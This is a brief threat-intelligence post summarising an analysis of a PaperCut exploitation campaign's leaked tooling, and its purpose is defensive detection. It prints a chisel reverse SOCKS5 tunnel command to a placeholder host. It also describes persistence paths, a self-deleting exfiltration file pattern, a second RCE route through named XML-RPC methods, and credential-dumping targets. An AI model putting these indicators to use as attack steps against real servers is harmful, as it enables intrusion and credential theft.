Hunt.io researchers pulled three open directories from the PaperCut campaign infrastructure while they were still live. For blue teamers, the behavioral indicators might be more useful than the IOCs alone:

Reverse SOCKS5 signature: chisel client --auth ... --tls-skip-verify --keepalive 10s <url> R:127.0.0.1:1083:socks

Cron persistence under /var/tmp/.rs_live46_v5/ with a pgrep-based self-check and u/reboot entry.

Output exfil pattern: <PaperCut install>/server/custom/web/pcp_<10rand>.txt served at /custom/<10rand>.txt, self-deleting after 30 seconds.

A second RCE path through XML-RPC (api.setConfigValue + api.lookUpUserNameByCardNo) that doesn't depend on the Tapestry vulnerability, so patching for CVE-2026-81578 alone isn't sufficient if the XML-RPC API is exposed.

Custom Rust credential collectors targeting LSA secrets and registry hives for offline NT hash recovery.

The exploit scripts also reset user-lookup.* settings in a finally block after each run, which likely explains why the primary chain went undetected for weeks.

Full writeup with MITRE ATT&CK mapping and IOCs: https://hunt.io/blog/papercut-attacker-ai-toolkit-exploit-code-second-rce

https://blog.talosintelligence.com/break-the-silence-kazakhstan-nexus-uat-6275-targets-cis-government-organizations/